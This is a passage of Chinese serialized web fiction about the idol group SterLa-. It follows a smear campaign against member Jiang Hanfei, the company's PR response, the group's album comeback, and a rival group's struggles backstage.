在其他人面前说这种话怪不好意思的，尤其还是熟悉的，都把他当弟弟看的人。他颇有些不自然地笑了一下，“只是我自己这么觉得。可能比喻也不太恰当。” “嗯，反正就那个意思。” “而且比起担心他们脱粉，我更不希望他们因为我一直处在这种焦虑的状态中。”江翰飞想着自己看到粉丝发文垂下眼睛。 他们很担心自己会不会受影响，会不会一个人偷偷不安或者焦虑，很担心自己过得好不好。 他很想登上账号告诉他们，他不是空降的关系户，也没有受到什么影响，公司那边会处理的。 但不行。 君君姐千叮咛万嘱咐，一定不能用自己的账号做任何操作，连登录都不要有。这两天他一直在用小号刷自己的超话。 “我不想让‘成为江翰飞的粉丝’变成他们的负担，因为粉我就一直在担心我的情绪，焦虑我的处境。我希望他们是因为喜欢才成为我的粉丝，也希望我带给他们的是开心的情绪。” 说完江翰飞自己都愣住了。 他其实从没认真想过这些。生活一直忙忙碌碌，除了吃饭睡觉，出道前被练习挤满，出道后被行程挤满。连去年春节本打算回一趟学校看看的他也因为要同时准备袁杰老师的合作曲宣传和二专没成行，呆在宿舍和练习室度过了第二个春节。 最开始只是系统让他一定要当爱豆出道，于是他迫于压力就努力升级成出道组；后来因为不想拖团队后腿，不想让公司努力工作帮助他们的人努力白费，更不想让喜欢他的粉丝失望。所以他一直很认真地在做自己的工作，把爱豆当成一份长期工作来做，虽然职业特殊了些，但归根结底还是一份工作。 但是今天禹安说到这个问题的时候，这些话自然而然地脱口而出。 从江翰飞反驳禹安开始，禹安和吴星雨就没再说过话。 三人间的气氛安静下来，江翰飞想是不是自己说错什么话，让吴星雨和禹安都沉默了。 “嗯，就是我也不知道怎么表达好，想到什么就顺口说出来了。”他迟疑着开口，“要不，先去练舞吧？” 吴星雨回过神搭茬，双手推着江翰飞的肩膀，“走走走。” 禹安安静地跟在他们俩后面。 他想起第一次签售前的那个晚上，江翰飞在床上翻来覆去睡不着觉，苦恼着要怎么跟粉丝互动才好。当时他也是对江翰飞的苦恼嗤之以鼻，觉得他越是投入太多感情，被脱粉被抛弃的时候就越难受。 时间过去几个月，江翰飞还是一点没变。 但他突然觉得自己好像一个胆小鬼。 了解到太多圈内乱象也不是一件好事，他以前认为自己做事对得起自己的良心，遵守爱豆的职业道德就是一个好偶像。 他对粉丝也不能说不好，该营业的他没落下过。只是他下意识地抗拒跟粉丝了解更深。 他总是担心，如果他了解得太多太深后，粉丝某一天厌倦了，或者因为其他这样那样的原因脱粉了，他怎么办？ 江翰飞的话好像一记鞭子抽碎了他假装清醒的外壳：禹安，你就是一个担心被抛弃的胆小鬼而已。 保护壳突然被打碎，就像是长期被关在小黑屋里的人突然照见猛烈的阳光，感到刺眼又灼热，忍不住想躲避。却又清楚地知道，长期不晒太阳，是会枯萎的。 禹安少有地感受到脸热。 一直自诩是江翰飞的哥哥，他偶像生涯的人生导师。结果不仅是生活中江翰飞给他的照顾更多，连这个道理都要江翰飞来教他。 SterLa-成员们两耳不闻窗外事，一直呆在练习室沉浸式练习二专主打。其他队友担心提起这个话题影响江翰飞状态；江翰飞觉得中午和吴星雨，禹安说这个的时候不知道是不是说错什么话，没搞清楚之前也不想再提。 于是几人投入地练了一整天，直到晚上八点，唐君君给他们打来了电话：“登你们的账号，按照先前定好的陆续发博。” 几人登上账号，发出提前编辑好的博文。博文都是他们自己写的，但是经过了公司的审核，删除过一些不合适的词句。 唐君君从来不动他们的个人账号，他们有什么想发的，在公司那边审核过不会出事之后就可以随意发。因此他们的账号活跃度和互动率在男团个人账号里独树一帜，都说只有SterLa-的账号皮下是活人。 也因为这样，上次合作曲事件中，哪怕粉丝们群情激愤，也能在他们的博文安抚下迅速平静下来。因为都知道，那不是公司发的，是他们自己的意志。 这次也一样，公司官方账号严词声明词条中关于江翰飞是关系户+空降的指责均为造谣，他们已经截取了相关账号和博文作为证据，即将对相关造谣账号提起诉讼。 SterLa-的几人紧随其后难得转载官号博文，又发了和江翰飞的合照或者团队的照片，文案配上他们自己想说的话。 上次合作曲事情后，大部分唯粉也知道自己爱豆和队友关系好，这次事件大粉们早早地在超话和粉群里提醒自家粉丝别下场。粉丝们也乖乖地专注自家，直到现在见到自家爱豆发文，纷纷出现和自家爱豆开心互动。 整个氛围和谐得不行。 虽然还是偶有一两条跳出来说，江翰飞排面大，每次都要队友下台帮他洗白。或者阴谋论SterLa-成员账号早就在公司手里。但还是无法成为主流，相比阴暗的猜疑，生性里人就是更加趋光。 江翰飞刷着小蝴蝶们的评论，时不时地点赞。小蝴蝶们一直看提示有赞过的消息，知道江翰飞一直在看，评论得更加起劲儿了。被公司起诉的造谣黑子早被忘到大明湖畔去了。 黑子什么的，哪有自家崽吸引人呢？ 第53章 为了澄清谣言，特地买了一条高位热搜#SterLa- 起诉。 这条热搜和原来造谣江翰飞那条黑热搜有异曲同工之妙。但凡是看到词条的人，哪怕不知道SterLa-是什么，也会在好奇心的驱使下点进词条看看。如果是之前看过那条黑热搜的人也会有兴趣关注‘关系户’的后续处理，能最大面积地覆盖需要目标人群。 与那条黑热搜相对的，词条重点除了江翰飞也带上了SterLa。 “所以不是关系户，是被造谣？果然贵圈真乱。” "吃瓜路人路过。" “请之前所有造谣和黑江翰飞的出来道歉[微笑]” “之前蹦跶得那么欢快的那几个人呢？现在装死了？别以为你们把微博删了就可以，已存档，回头整理之后会发给公司，会不会被告看你们自己的运气了[摊手]” “所以这个是有个男团的人被别人造谣是空降的关系户？然后现在证明不是？这有什么意义吗？平台算法改改吧，多关注民生新闻，少让这些没意义的事情上热搜。” “就这个反黑力度和让队友帮忙澄清的架势，说不是gxh谁信呢？还是你司的工作人员被jhf的粉丝打入了内部？” “噢，楼上的人间清醒，你这么牛逼怎么还用缩写呢？有锤上锤，我坐等。” “支持有锤上锤，没锤闭嘴。” “SterLa-二专即将发布，各位走过路过不要错过，良心男团，品质保证。” “摆摊了，现在通过@江翰飞大吧官方链接下单，可以优惠购买多种商品噢，单次购买十张以上还有购物补贴，各位快来薅羊毛吧！” “别说，这人长得确实怪好看的，大数据，之前怎么没把这些帅哥推送给我！？” “” “现在网上的舆论风向和公众情绪基本上已经缓和。”公关部的工作人员对着部长报告，“高位热搜的参与和互动已经饱和，预计两个小时内会慢慢滑出热搜榜单。词条阅读量已经达到我们的预期，词条的评论反馈也不错，给SterLa-官号和成员的个人账号带来不同程度的涨粉，涨粉最多的是事件核心的江翰飞。目前我们的人还在监控着词条情况。” “还不错。”公关部部长颔首，这些反馈都在预期内，“看来对方确实没有什么后手了。” 她意味不明地哼笑一声，“就听着几个被淘汰的前练习生的臆测就敢下手黑。稍微用心点调查一下就知道没有的事儿，居然真就信了江翰飞是高管的儿子。看来他们也是狗急跳墙。还以为真的挖到什么大料，浪费我精力多做了几分打算。” “算了，也是白送我们一波流量。市场营销部的人得请我们吃饭。” 不到三天，乐狮成功解决第二次公关危机。其实都说不上有多大的危机，这次对方纯粹犯蠢，问了几个乐狮淘汰出去的练习生，他们都说江翰飞在练习生时期有高层的特殊关照，大家都知道他是高管的儿子。然后就这么信了。 这种谣言是最容易翻转的。只要拿出江翰飞的家庭情况说明，再加上练习生时期的一些事情就可以立马翻转。 她一直迟迟没有下手反击就是在等这件事情继续发酵。 一场明知必赢的仗，当然要等有更多的观众再一招打死对方，才能有最好的宣传效果和影响力。 况且她最担心的是对方真的查到什么。 虽然江翰飞不是关系户，但是队内确实有人跟公司高管有关系。这才是她公关准备中花费精力最多的地方。 好在对方就是个废物，省她后续安排了。 想到这儿，她给于部长和唐君君都发去消息，不出意外这次谣传就此落幕。 只能说天助SterLa-，在二专的预售期有不知名的对家帮忙扩大知名度。 造谣事件之后专辑总销量往上窜了一大截。尤其是江翰飞的粉丝，都快买疯了。 尽管公司有正式起诉造谣的营销号和黑子，还有队友一起帮忙澄清，但公关的速度太慢，让江翰飞白白多受了一天的气。 自家崽委屈了能不买买买安慰吗？ 于是江翰飞的粉丝超话里全是买专辑，插旗，冲刺，摆摊，拉人以及时不时夹杂着新粉在问怎么补课怎么买专。不了解粉圈的人要是误入超话，估计得懵圈。 “阿飞这次被泼了这么大的脏水，我们珍视的宝贝就这样被他们按在地上黑。各位小蝴蝶们，先前的舆论里我们除了到处帮忙发澄清以外做不了太多，但是现在二专不一样，真金白银就是底气，只要阿飞的销售能力可观，能给公司带来足够的利益，他们才会对阿飞的事情更上心。所以希望小蝴蝶们在先保证自己生活的前提下，能给我们受委屈的宝贝最好的（只是个人想法，不喜欢也别骂我）。附上下单截图，这是这批精装版预售的量，出来简装版冲销量的链接我还会再下。” “给阿飞最好的排面和最大的底气。” “小蝴蝶们，一看就知道不可能的事情公司却花了两天才出来公关，为什么？不就是因为江翰飞一个新人，他们不愿意投入太多吗？话说到这儿，懂的都懂了。” “宝宝们，买专的前提是先照顾好自己的生活！非常重要！自己的生活在前，有闲钱再买！尤其学生党！！” “大家量力而行，有钱的姐姐们按能力买，没有钱的宝宝们可以多多出去摆摊拉人或者宣传阿飞，不管做什么都是有帮助的，不要内耗，不要内耗！” 5.23日，SterLa-二专《唇枪舌剑》正式发布， 同名主打曲一经发布，直接冲进了实时收听榜单的前排。 练习室内几个脑袋凑在一起，“咱上次实时榜单多少来着？” “没到前30。” “哇，那我们这次进步不小啊？” “那不是肯定的吗，刚出道和我们现在能比吗？” “这次的实时音源要是保持住，咱是不是能冲一冲首日日榜前一百啊？” 空气沉默几秒，于立果笑道，“不止吧，IUE出道的时候实时榜单还不到前十，日榜都有80。” 虽然几人心知肚明按照这个势头，日榜肯定能进Top 100，但是到底能不能超过IUE出道的成绩，还是没底。 “超越自我嘛！”吴星雨退出音乐榜单界面，收起手机，“我们这次的音源成绩肯定比上次好，这不是一件好事儿吗？说明我们这段时间的活动没白跑啊！” “得了吧你，上次我们一起跑活动都是演唱会了。”禹安抬杠道。 确实，SterLa-在演唱会之后再没有团队活动，到现在二专只有一个江翰飞的合作曲。 舆论事件前粉丝们都在抱怨找不到自家崽崽。还有不少有才的粉丝出了一个特别又创意的失崽招领，重金酬谢找到自家崽踪迹的好心人。 “那我们最近不是还有跑综艺吗？”吴星雨反驳。 “那也没有播出啊！”禹安不甘示弱。 队里吴星雨和禹安年纪不是最小的，但有时候幼稚起来真没眼看。 当然，该靠谱的时候，队长不是盖的，禹安也不是傻的。 于立果拉着江翰飞远离幼稚吵架的二人组。 走到一边，于立果难得对着江翰飞有些踌躇。 “于哥你想说什么？”江翰飞一看于立果那吞吞吐吐样子就知道他有话想说。 “呃，嗯。是有话想说”于立果犹豫一会儿，还是想把事情跟江翰飞讲清楚，“是关于你上次的舆论的事情。” 嗯？ 江翰飞疑惑，这事儿不都过去了吗？ “词条不是说你是关系户吗？” “那个是因为练习生那个传言。”江翰飞从唐君君那儿知道事情原委之后也哭笑不得，“于哥，当初练习生的时候你还提醒过我的。就那件事儿，他们把传言当真了。” “不是。”于立果艰难开口，一时间不知道该怎么跟江翰飞解释，“其实确实有。” “我就是。” “我爸是艺人部门的于部长” 于立果一鼓作气讲完，然后仔细去看江翰飞的神色。 从练习生到现在，他和江翰飞认识已经快两年了。可以说，他是真的把江翰飞和时元当成了兄弟，是他关照的弟弟；同时也是他的好朋友，可以分享各种喜怒哀乐不用担心任何的好友。 正因为这样，有些事情他反而开不了口。 这件事本早就该跟江翰飞说的，但思虑再三还是打算在音源发出有了成绩之后再说。 至少不想看到这件事影响到大家重视的团队。 现在音源成绩出来，实时榜单的成绩很不错，基本上可以断定一定优于他们的出道曲。而且他也一直在关注江翰飞的专辑销售情况。 如粉丝们所说，公司是非常在意销售的。男团市场是大家公认的，拼的是死忠粉的数量和购买力。江翰飞的粉丝购买力强确实是可以带来一些助力的。 比如这次的公关事件，虽然在粉丝看来公关速度太慢他们还不满意。但于立果这种内行人，甚至内部人员，知道一些内部消息的就知道，实际上是公司有意压着不澄清，就是为了等事情发酵之后能够有足够的影响力。 这比一次性澄清或者发个公告麻烦太多，需要的人力物力也不是一个等级。 除了SterLa-这个团队的影响以外，江翰飞的成长势头和潜力，以及合作曲中表现出来的影响力才让公司决定花力气去投资。 “啊？”江翰飞先是一愣，接着恍然。 难怪于哥消息这么灵通，原来真的有渠道啊？！ 江翰飞感慨。 于立果看江翰飞又愣又恍然，接着说道，“之前的舆论事情没有提到我，我也不好出面。” “但是我跟我爸提过了，如果对方有后续，就把舆论引到我身” 江翰飞打断于立果的话，“于哥你在说什么？” 于立果愣住。 “你家里什么情况跟我被造谣有什么关系？”江翰飞哭笑不得，“被造谣也不是因为你啊？是因为有练习生不知道事实情况就四处传播，然后又被有心人利用。” “整件事情跟你也没有关系。”江翰飞认真说道，突然笑着说，“不要想太多。” 不要想太多。 这是于立果经常跟江翰飞说的话。现在被他还回来了。 于立果低头一笑，心里和身体都放松下来，反手给江翰飞背上一巴掌，“搁这儿逗我呢！” 其他的不需要再说了。 第54章 二专乘着舆论的流量东风顺利起飞。 5.23日二专发售当天，首日销量高达22w+，仅首日已经是出道专总销量的两倍。除了销量，首日音源也直接跨入新阶段，一天大部分时间都保持在实时榜单前三十的主打曲，首日音源累积直接冲进Top 50，拿到日榜第42名的好成绩。 对于一个出道不到一年的新人男团，只是第二次回归就有这个成绩。粉丝，公司和成员们都喜出望外，首日销量和音源出来的当天，公司就给办了小小的庆功宴；营销号们也开心，反正他们无所谓发哪家，能他们带来互动带来流量就能赚钱，因此不少之前发SterLa-黑通稿的营销号也厚着脸皮给SterLa-发喜讯，然后被粉丝和路人们好一阵嘲讽。 一时间网上热热闹闹。 但对于各方紧密关注着SterLa-的对手来说却是乌云压顶，来势汹汹；这无异于自己孩子成绩垫底，去开家长会却发现自己孩子同桌是年级第一的既视感。 做男团与选秀节目不一样。选秀节目有噱头，有剧情，有看点，作为综艺的定位原本就能吸引大批路人和乐子人看热闹。观看人群基数大，哪怕粉丝转化率再低，也能转化出一批粉丝。但男团的市场和受众就那么大，SterLa-在这个市场里发展出一批死忠粉，就代表其他男团的粉丝有流失或者一批还没有粉籍的路人被他们成功转化。 简单的说，也就是SterLa-的发展越好，就代表在同期男团里抢占的市场份额越多，其他男团的可用的市场份额就越少。市场份额代表着流水以及这个男团能带来的预期收益。 按照SterLa-现在的发展势头，只要乐狮脑子不发昏，未来两年男团的市场必然要被SterLa-抢走一部分。 “哥，你说我们还有可能再出三专吗？”KtM的领唱只有18岁，艳羡地看完SterLa-二专回归首日成绩，低声问着坐在旁边的自家队长。 KtM的二专回归又和SterLa-撞上了。 两支同时期出道的男团，此前各自视对方为竞争对手，现在又在二专回归撞上，当然会关注双方的成绩。 现在作为同期参加ICS打歌节目的男团。第一次相比，两支团队在待遇上已经有明显的区分。 第一次来打歌的SterLa-被别人下手搞走休息室，让他们不得不挤在单人休息室里做妆造。而这次二专回归，台里给SterLa-安排的休息室是大型团的休息室，宽敞又舒适，还有专门的工作人员负责对接。 与此相对的KtM，比SterLa-早两天回归。音源和销量都不如出道专，音源连Top 200都没进，销量出道还能卖3w+，这次回归首日还不到1w，按照这个销售趋势，不出意外直到二专销售结束，总销量也不会超过出道专。娱乐圈就是个看人下菜碟的地方。ICS别说大型团休息室了，连工作人员都没有，还能保有现在的休息室，完全是因为背后还有安阳娱乐公司在撑着场子，没人针对的情况下台里就按照常规给的安排。 从KtM二专回归的成绩看，新人奖时期到后面各种活动曝光安排，对KtM的影响已经出现端倪。这个销量和音源数据非常明确，KtM出道之后不仅没有多少吸收到多少新粉入坑，还跑了一部分出道粉。 团内成员也人心惶惶，眼看着同期出道的团发展都越来越好，他们却好像在一艘不断进水的船上一样，感受着缓缓下沉，却不知道什么时候就会被海水完全淹没的恐惧中。 KtM的队长面对自家团内最小成员的问题摇摇头，他也不知道公司还会不会支撑他们回归三专。 作为队长，心里黯淡发苦，面上却不能带出太多沮丧。 他这个时候应该鼓励自己的队友。 他想到。 于是最后勉力说了一句，“别想太多，我们先专心做好二专的舞台。” “尽全力做好我们自己能做的事，对得起我们的粉丝和我们自己就行。” 如果真的不能出三专了，那该怎么告诉这个只有18岁的男生，也许你后面四年五年都会在这种默默无闻却不能摆脱的生活中度过呢？ KtM的领唱好像真的被鼓励到了，放下手机，茫然的眼神好像有了落点，“那我再去练习几遍我的solo部分。” “把椅子挪开点，注意别撞到了。”KtM的队长挥挥手，打发走小领唱。剩下自己一个人的人时候，又不免陷入对现在情形的焦虑中。 另一边在大休息室里的SterLa-正在争论，昨天谁没有自信，说自家进不了前五十。 “肯定是你，昨天你说话的时候一点信心都没有。”禹安坐在化妆镜前，造型师正在给他补眉粉，但一点不影响他叫嚷。 “谁没信心了？”吴星雨不甘示弱，“别造谣啊小安子。你可是看见这次事情了，造谣小心我告你。” 禹安不屑地嘁一声，闭着眼睛翻个白眼，“你去啊！捞着半截就跑，没有5000次浏览或者500次转发，我看你去告我立案去！” “我昨天那说的是我们要超越自我！”吴星雨不和禹安扯造谣立案标准，大声问江翰飞，“阿飞，你说我是不是这么说的！” “江翰飞，你自己说，昨天吴星雨他是不是没信心！”禹安也紧随其后，大声询问江翰飞。 “江翰飞，你说话啊？！” 等了半天，闭着眼睛化妆的两人都没等来江翰飞的回答，禹安忍不住催促道。 “得了啊你俩。”已经做完妆造的于立果声音慢慢靠近，站在俩人后面，“阿飞在换衣服呢，怎么回答你们。” “而且昨天我有事儿找阿飞来着，我们都没在场怎么知道你们说了什么。”于立果眼神一转，看见旁边坐着的葛文山，带着坏笑说道，“山哥不是一直在场吗？你们怎么不问问他。” 吴星雨和禹安两人同时有点哽住。 他们知道作为队内年纪最大的葛文山脾气其实挺好的，接触久了甚至会觉得温柔。 但是！ 山哥毕竟是山哥，平时说话不多，也不怎么开玩笑。 这种玩笑话怎么叫山哥接？ “山哥？你有听到昨天我说我们要超越自我吧？”吴星雨语气一变，刚刚的激烈反问变成了正常的询问句。 “嗯，有听到。”葛文山沉稳的低音从旁边传来。 “那他是不是也问了能不能冲首日前一百？”禹安不甘示弱，但是语气莫名缓和许多。 “嗯，也问了。” “你看你看，我们实时榜单最好的时候都前十了。”禹安像是得到什么官方认证似的，展现出rapper的本质，快语连珠，“保持了好几个小时的实时榜单前十和大部分时间的前三十，怎么可能冲不进前一百呢？” “就是你没信心！” 过了好一会儿，没听见吴星雨的反驳。 禹安疑惑地睁开眼睛，发现身边的座位早就不是吴星雨了，不知道什么时候换成江翰飞坐在旁边。 造型师正在给他的头发做造型。 “你什么时候过来的？” “就刚刚你问山哥的时候。”江翰飞答道。 “那你一直不说话，我还以为还是老吴在这儿呢”禹安嘟囔。 江翰飞想想刚听见造型老师说原定的那件外套不合适，要给吴星雨换一件，说道，“队长过去好一会儿了，应该在试外套。” 禹安闭嘴。 不知道怎么的，从昨天江翰飞说出那番话之后，他对着江翰飞就有点不自在的小情绪。 也不是讨厌江翰飞，或者觉得他说得不对。 恰恰是因为知道江翰飞说得对，反而让他感觉到别扭。 平时在宿舍和江翰飞住一间房，他算得上是除了于立果外和江翰飞相处最多的人，这会儿对着江翰飞居然有点说不出玩笑话了。 禹安顿感憋气。 江翰飞也觉得奇怪，平时禹安喜欢跟他说话开玩笑。禹安有分寸，队内大家也知道他性格，所以禹安在团队活动时间很少见有这么安静的时候。 “你怎么啦？” 禹安听着别扭情绪产生的罪魁祸首带着关系的语气询问他。心里‘埋怨’着江翰飞能不能做点这个年纪该有的叛逆举动，好让他这个哥哥名正言顺地‘教训’一下他。这么懂事让人真的很没有当哥哥的成就感啊！ “没事，正烦吴星雨走也不说一声。” 江翰飞还是觉得不对。 禹安跟吴星雨一直是吵吵闹闹，两人有谱，根本不会因为这种事情出现情绪。 他犹豫一会儿，从兜里摸出一块黑巧并一块口香糖递过去，“新品牌的。” 禹安看着递过来的巧克力，心想，江翰飞虽然敏锐，但果然是一点不会安慰人啊，还是老一套，一点长进没有。 不情愿地接过巧克力和口香糖。 算了，这就是个实心眼的傻子。我憋着气自己跟自己较什么劲儿。 “今天晚上又得加练。”禹安叹口气，又嘟囔着。 江翰飞见禹安一副嫌弃的语气，却又把黑巧一口塞进嘴里。 嗯，这下没问题了。 第55章 吴星雨那边换过一件浑身是锚钉的衣服过来，江翰飞和禹安也结束了最后的妆造。 禹安摸着衣服上凸起的塔型锚钉，啧啧道，“浑身是尖刺啊你。” 吴星雨拍开禹安的手，把几人聚在一块儿，清清嗓子正色道，“我们先过一下整个流程。” 休息室很大，不用特意清理场地就有一块空余的地方能供他们小小地走位练习，“走完流程，我们第一次只做舞蹈小动作，后面我们主要复习小动作加走位和镜头。” “好。”在正经练习时间，几人都收起玩闹心思，跟着队长兼主舞的安排走。 妆造工作人员和助理们都站在一边看着。 虽然在MV拍摄的时候和前几天做准备工作的时候已经看过，但是他们干着自己的事儿，偶尔余光瞟到他们后就会不由自主地把目光聚焦到正在练习的五人身上。 “哇，在这里看是完全不一样的感觉啊？”某位妆造师低声跟欣怡说道。 欣怡看着在房间一角认真跳舞的几人，内心翻涌起一阵骄傲，这可是她从还没出道就一直在跟的团！眼看着他们一步步变得更好，被更多人知道。 “那当然。”她喃喃道，“SterLa-本来就是光的代表，吸引人的视线是他们的天赋技能。” 小动作跳完第一遍，确认各自舞蹈动作没有问题。几人又开始小幅度地做动作，练习走位和与镜头的交流。 工作人员们就安安静静地看着，就算是看他们跳得再好再喜欢，也保持着安静，没有出声干扰他们的状态。 练习完，几人补好妆造，放松地坐在沙发上等待排到他们上场。 现在正好是中午，原定的录制排序是下午一点半。时间不早不晚的，几人担心吃过午饭上舞台的时候来不及消化，肚子突出会不好看，都说等结束再吃。 欣怡跟他们确认好目前的状态可以上舞台后，就给今天刚加上联系方式，负责串场的工作人员发去消息说他们已经做好准备，随时可以上场。 这次没等多久，就有工作人员过来敲门，客气地问，“是SterLa-老师们吗？各位老师可以去后台准备录制了。” 江翰飞几人心里都闪过一个，今天这么早的念头，但没有多想，现在准备舞台最重要。 把其他杂念抛到脑后，专心准备二专的第一个打歌舞台。 负责串场的工作人员带着他们走过长廊，前面就是熟悉的上下舞台的入口。 舞台上正在表演的是和他们同期出道的另一个男团KtM。 “是KtM他们吗？”录制演播厅内音响声音震天，江翰飞只得凑在于立果耳朵边上问道。 “对。”于立果眯着眼，辨认出对方的队长，“他们这次的歌跟出道专的风格差别好大。” 江翰飞回答的话还没来得及说出口，台上的KtM已经结束表演。导播大喇叭传来结束录制的声音，他们安静离开舞台往出口的方向走去，也不知道他们录制了几遍。 没有主持人串场，只有导演的大喇叭喊着：“下一个，SterLa-，上台准备。” SterLa-几人从侧面入口依次上台，台下粉丝听见轮到自家爱豆反响顿时热烈起来，叫喊着自家爱豆名字的声音此起彼伏，同时手里努力摇晃着写着字的纸想让他们看见，“SterLa-加油！”“山老师帅破天际！”“小花迷死人了！” 他们一边匆匆跑上台一边跟粉丝们挥手打招呼，不敢多耽误时间，随即按照开场动作摆好姿势。 场内粉丝见状也迅速安静下来。 吴星雨侧头给一边的音响老师示意，场内灯光熄灭，留出舞台光，二专主打前奏开始回荡在演播厅中。 二专的主打曲和出道专的主打曲一样，与专辑同名，就叫《唇枪舌剑》。 对比出道专，主要以消化整张专辑的概念，以及与自己团队组合的概念结合为主。这次二专成员们经常和策划组一起开会，整张专辑中融合了许多他们自己的想法。 比如主打曲里的Dance Break部分，采纳了吴星雨提议的剑舞动作。最后编入舞蹈的动作是经过编舞老师和吴星雨一起讨论修改后，以更适配整首曲子表达去融合到整首歌的舞蹈编排中。另外第一第二段的两段Rap是葛文山和禹安自己写的词，写完之后再给制作人老师讨论，修改，然后定稿，中间花了得有两三个月的时间。 也因为这样，于立果和江翰飞还开过玩笑，说整个团队里除了他俩没怎么参与进去，其他人都有自己参与制作的部分。 于立果只是那么一句半自嘲半开玩笑的一句，江翰飞却非常上心。 他认真思索一圈，发现还真是只有自己和于哥没有在这首主打曲里加入自己的东西。虽然平时开会有采纳他们的一些意见，比如歌曲选择，专辑内容，专辑配置等等。但主打曲他们确实没有提出什么建设性意见或者出彩的创意想法。 这让江翰飞真实地纠结过一段时间。 他作为团队的主唱，唱得好是应该的。男团这么多，唱得好的主唱太多。远了不说，光是师兄Hitting的主唱秦正浩的实力，他也早在交流中见识过。 但是现在唱歌好像也不是男团中最好的那一部分吧？至少自己看过的一些男团优质主唱盘点视频里的那些实力主唱都非常的专业。除了好好唱歌以外，自己是不是应该发展一些别的什么？ 好在后来在MV拍摄的时候，给导演提了一点画面创意的想法，被导演采用之后江翰飞自己才稍感安慰。 因为大家都有参与制作，所以对这次音源成绩格外的看重。幸好结果不但如愿，更让人喜出望外，现在就看首日之后的续航能力怎么样。 而好的舞台，是绝对能带给音源正向的促进作用。 “《唇枪舌剑》，3 2 1！”导播的大喇叭声响起，声音消失的最后一秒，同时响起歌曲的前奏。 与出道曲《钢铁丛林》以轻柔的吟唱导入不同，《唇枪舌剑》没有导入，前奏的第一个音直接就是管风琴。 管风琴被誉为乐器之王，最开始本是教堂使用的乐器，体积庞大，音色多变；即能演奏温柔的摇篮曲，也能演奏慷慨激昂的军乐进行曲。 这首歌的编曲就采样了偏激昂的军乐进行曲。 浑厚的重音轰鸣作为第一个音抓住所有人的耳朵。 包括离场正在走廊里的KtM几人。 “哥，我们看完他们表演再走吧？”KtM的小领唱拉住自家队长的衣服，小声请求。 没想到其他几个人也转过头来看着队长。 KtM的队长无奈，他不让看是担心他们看完之后心态出问题。 但是现在难道就没问题了吗？不如看看差距到底在哪儿吧？ 这样想着，KtM的队长点点头，KtM所有人都挤在出口走廊的边上，从侧面审视着SterLa-几人的表演。 管风琴的音量逐渐变低，只剩下浑厚的声音为底混合着小号高亢嘹亮的声音加强整首歌的节奏感。 “虚伪笑脸，缀上钻石就亮眼； 模糊界限，走笔晕染边缘；” 江翰飞带着怒音开口定调。以往被粉丝夸赞的清冷嗓音似乎也被曲子里的愤怒浸染，每一个词的吐字都带着往外喷射的气势。 “居然一上来就是怒音？”KtM的小领唱喃喃道，眼睛眨也不眨地看紧了江翰飞。 从管风琴开始，只听完一个前奏。小领唱心里就知道，只要这首歌没有神转折，光是前奏就已经足够他们公司花大价钱去买。而他们的二专却是从公司以前的淘汰曲库里选的。 紧接着，吴星雨开口接上江翰飞。一边唱，一边与江翰飞交换C位。 “真话假话，瞬息万变； 崩塌重建，两语三言；” 互地，江翰飞手背上感到一阵刺痛感，好像是刚刚和吴星雨交换站位的时候，被对方身上的金属挂饰挂到了。 现在他没在C位，灯光很黑。趁着这个时间他把手背到背后，果不其然手背上有濡湿感。 大概是被划破手背了。 江翰飞想着。 但现在正在舞台表演时间，不好低头去看，也不能伸手去擦。 想想后面的动作还有不少要用到这只手的。 他偷偷在自己黑色的衣服上蹭了蹭，直到手背上感觉不到明显的湿意。 等再次轮到他时，他一只手拿麦，受伤的手正常做着动作。 幸好《唇枪舌剑》的节奏快，连带着舞蹈动作也比较快，再加上舞台上的强光。一时间竟真就被他蒙混过关，没一个人发现他手上的异样。 江翰飞松一口气，问题解决。抛去刚刚的迟疑，全身心投入到舞台动作中。 台下的粉丝们激动得满面涨红，在可以应援的时候大声喊着他们的歌曲应援口号。 但站在黑暗中的一个人却在江翰飞再次下到台边等待的时候放下手里的摄像机。蹲下身子，借着人群的掩护拉上上衣链子，把头埋在衣服里调整到刚刚的回放。 刚刚江翰飞的动作总让她觉得哪里不对。 现场灯光太暗，时间地点都不对，她也没法看得太仔细。只能又站起来，重新架起摄像机对准了台上的人。 “如果这也是谎言，让我就此坠入深渊。” 舞台结束，台上SterLa-几人保持Ending的姿势几秒，给导播老师滑镜头的时间。台下已经响起热烈的欢呼声。 粉丝们超级满意。 本来就超好听的歌曲，配上舞蹈，舞台舞美，服饰，简直绝了！ 回去要把这个舞台再看一万遍！ 第56章 “SterLa-第一次结束，休息五分钟开始录制第二次。” 大喇叭里传来导演的声音。 随着声音响起，厅内重新打开了日常灯光。江翰飞一反常态地没有跟粉丝们多互动，直接奔着台边的妆造师而去。 粉丝们以为江翰飞是造型有什么问题，着急找造型老师解决，也没挽留，只看着江翰飞跟着妆造老师进到了后台的长廊。 粉丝们一边想着果然如此，一边垫高了脚尖去看走廊口。力图在江翰飞从走廊口出来的第一秒就能见着人。 而出口这边的KtM看完SterLa-的表演，所有人都沉默着，不说话也不走。 队长暗叹一声，果然还是不该答应留下来看SterLa-他们的表演。 看完之后他们的心态只会变得更加不好，毕竟差距存在的实在是过于明显。不管是专辑主打曲的词曲质量，还是团队成员们呈现出的舞台质量，都是现在的他们无法获取或者达成的。 “看完有感觉吗？”兀地身后传来KtM经纪人的声音。 KtM几人面色不好看，尴尬地闪躲。 见几人不说话，经纪人反而笑了，“现在的你们的确是比不上他们。” 听见经纪人的话，队员和队长们猛地抬起眼又很快低下去。 “别看我，我是说你们现在比不上，但是不代表以后的你们没机会。”经纪人又笑了下，“之前的你们几个人之间有些心思我见多了也能理解，不过到现在这个时候，什么处境只有你们自己清楚。” “难受吧？” “看看今天在台上的时候，台下还有多少呼声是专属于你们的？多少出道粉现在没了踪迹？” “没时间再留给你们在内部你来我往，明抢暗斗。现在紧要的是先想办法生存下去。再不出成绩，我想公司很难给你们出三专。” KtM的几人被说的难堪，死死埋着头，不想和经纪人对上眼神。 “这次的二专词曲质量怎么样不用我多说。为什么是这样我没瞒过你们。“ “二专所有的词曲都是在公司已有的淘汰曲库里重新筛选制作，不然为什么能在拼盘演唱会之后短短几个月的时间就能把二专所有的词曲凑出来？“ “只是想在垃圾里淘金，除非有奇迹，不然“ KtM的小领唱被经纪人说得涨红脸，忍不住抬头道，“你明知道公司不给我们好词曲，为什么不帮我们争取？” 话一出，其他几人的眼神终于看向经纪人，有了第一个站出来讨伐的人，剩下的几人也紧随其后： “我们已经被公司放弃了，别说你不知道，从公司禁止我们参加颁奖典礼开始，你们就有这个心思。” “你现在说这些又有什么用？” 经纪人笑他们天真，“团队什么状态大家自己心里有数吧？我当时说与不说有什么区别？” 